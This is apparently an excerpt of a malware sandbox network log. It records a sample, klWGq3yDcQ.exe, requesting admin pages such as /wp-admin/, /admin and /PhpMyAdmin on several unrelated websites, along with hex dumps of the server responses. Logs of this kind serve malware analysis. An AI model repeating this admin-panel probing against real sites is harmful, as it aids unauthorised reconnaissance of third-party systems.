2023-11-26 05:59:45 UTC	15172	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 42 69 62 6c 69 6f 74 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/"> Bibliot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.4	51636	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	225	OUT	GET /wp-admin/ HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.grantstech.io/wp-login.php
2023-11-26 05:59:45 UTC	307	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 42 59 50 41 53 53 0d 0a 58 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:59:45 GMTVary: Accept-EncodingX-Cache-Status: BYPASSX
2023-11-26 05:59:45 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.4	51798	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	173	OUT	GET /admin/ HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	1145	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:45 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:45 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.4	51381	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	190	OUT	GET /PhpMyAdmin HTTP/1.1 Host: www.gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	1123	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 74 65 2d 78 73 72 66 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:45 GMTSet-Cookie: publishedsite-xsrf
2023-11-26 05:59:45 UTC	607	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 73 78 4d 48 4a 32 56 32 64 46 4e 32 51 35 64 31 52 56 61 7a 49 35 51 33 5a 68 54 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4f 45 31 33 4f 47 51 72 53 54 46 6f 64 55 78 6a 52 45 64 32 4f 48 5a 31 54 6c 6c 52 52 57 64 4f 57 6e 4e 33 54 54 6c 72 57 6e 6c 56 4e 32 52 78 65 55 52 44 4d 6c 4e 68 63 32 4e 75 61 48 42 74 57 45 68 57 5a 31 4e 6e 65 6c 42 6d 52 7a 6b 30 56 47 74 42 56 6a 52 4c 59 56 4e 49 52 30 4a 75 4e 6b 64 45 64 6d 46 72 5a 6c 4e 73 61 6d 6f 78 4c 32 46 59 59 6d 31 72 62 58 6c 75 4e 6d 68 36 52 6c 70 31 61 45 70 47 4e 7a 52 36 61 57 4e 4f 4e 6b 46 50 62 32 64 52 56 33 6c 59 5a 32 49 7a 64 57 70 6f 54 6b Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6IksxMHJ2V2dFN2Q5d1RVazI5Q3ZhTFE9PSIsInZhbHVlIjoiOE13OGQrSTFodUxjREd2OHZ1TllRRWdOWnN3TTlrWnlVN2RxeURDMlNhc2NuaHBtWEhWZ1NnelBmRzk0VGtBVjRLYVNIR0JuNkdEdmFrZlNsamoxL2FYYm1rbXluNmh6Rlp1aEpGNzR6aWNONkFPb2dRV3lYZ2IzdWpoTk
2023-11-26 05:59:45 UTC	1580	IN	Data Raw: 36 32 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 20 41 72 69 61 6c 2c 20 73 61 Data Ascii: 620<!doctype html><html><head> <title>404 - Page Not Found</title> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; font-family: Roboto, Helvetica Neue, Arial, sa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.4	51799	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	169	OUT	GET /admin HTTP/1.1 Host: www.avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	929	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 38 36 34 30 30 2c 20 70 75 62 6c 69 63 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 45 74 61 67 3a 20 57 2f 22 31 37 30 30 39 37 38 33 38 35 22 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 31 39 20 4e 6f 76 20 31 39 37 38 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 Data Ascii: HTTP/1.1 403 ForbiddenConnection: closeCache-Control: max-age=86400, publicContent-Language: enContent-Type: text/html; charset=UTF-8Etag: W/"1700978385"Expires: Sun, 19 Nov 1978 05:00:00 GMTLast-Modified: Sun, 26 Nov 2023 05:59:45 GMTServ
2023-11-26 05:59:45 UTC	6	IN	Data Raw: 33 63 35 34 0d 0a Data Ascii: 3c54
2023-11-26 05:59:45 UTC	1368	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 Data Ascii: <!DOCTYPE html><html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema
2023-11-26 05:59:45 UTC	1368	IN	Data Raw: 69 6f 6e 49 44 3a 76 6f 69 64 20 30 2c 73 61 3a 76 6f 69 64 20 30 2c 71 75 65 75 65 54 69 6d 65 3a 76 6f 69 64 20 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 54 69 6d 65 3a 76 6f 69 64 20 30 2c 74 74 47 75 69 64 3a 76 6f 69 64 20 30 2c 75 73 65 72 3a 76 6f 69 64 20 30 2c 61 63 63 6f 75 6e 74 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 Data Ascii: ionID:void 0,sa:void 0,queueTime:void 0,applicationTime:void 0,ttGuid:void 0,user:void 0,account:void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw
2023-11-26 05:59:45 UTC	1368	IN	Data Raw: 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 6d 65 74 72 69 63 73 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 61 63 74 69 6f 6e 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d Data Ascii: ed:!0,harvestTimeSeconds:10,autoStart:!0},metrics:{enabled:!0,autoStart:!0},page_action:{enabled:!0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0}
2023-11-26 05:59:45 UTC	1368	IN	Data Raw: 70 3d 22 41 6c 6c 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 3b 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 Data Ascii: p="All configuration objects require an agent identifier!";function h(e){if(!e)throw new Error(p);if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0
2023-11-26 05:59:45 UTC	1368	IN	Data Raw: 2c 45 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 45 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 Data Ascii: ,E={};function j(e){if(!e)throw new Error("All runtime objects require an agent identifier!");if(!E[e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent ident
2023-11-26 05:59:45 UTC	1368	IN	Data Raw: 3d 3e 61 2c 63 76 3a 28 29 3d 3e 6c 2c 69 53 3a 28 29 3d 3e 6f 2c 69 6c 3a 28 29 3d 3e 72 2c 75 78 3a 28 29 3d 3e 63 2c 76 36 3a 28 29 3d 3e 69 2c 77 31 3a 28 29 3d 3e 75 7d 29 3b 63 6f 6e 73 74 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 21 21 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 Data Ascii: =>a,cv:()=>l,iS:()=>o,il:()=>r,ux:()=>c,v6:()=>i,w1:()=>u});const r="undefined"!=typeof window&&!!window.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNaviga
2023-11-26 05:59:45 UTC	1368	IN	Data Raw: 65 73 28 74 29 26 26 28 74 68 69 73 2e 73 68 61 72 65 64 43 6f 6e 74 65 78 74 5b 74 5d 3d 6e 29 7d 29 29 7d 63 61 74 63 68 28 65 29 7b 28 30 2c 72 2e 5a 29 28 22 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 65 64 20 77 68 69 6c 65 20 73 65 74 74 69 6e 67 20 53 68 61 72 65 64 43 6f 6e 74 65 78 74 22 2c 65 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 Data Ascii: es(t)&&(this.sharedContext[t]=n)}))}catch(e){(0,r.Z)("An error occured while setting SharedContext",e)}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priori
2023-11-26 05:59:45 UTC	1368	IN	Data Raw: 7b 7d 76 61 72 20 67 3d 7b 6f 6e 3a 68 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3a 68 2c 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 72 5b 65 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 Data Ascii: {}var g={on:h,addEventListener:h,removeEventListener:function(e,t){var n=r[e];if(!n)return;for(var i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.le

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.4	51382	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	185	OUT	GET /admin HTTP/1.1 Host: www.gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	1123	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 74 65 2d 78 73 72 66 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:45 GMTSet-Cookie: publishedsite-xsrf
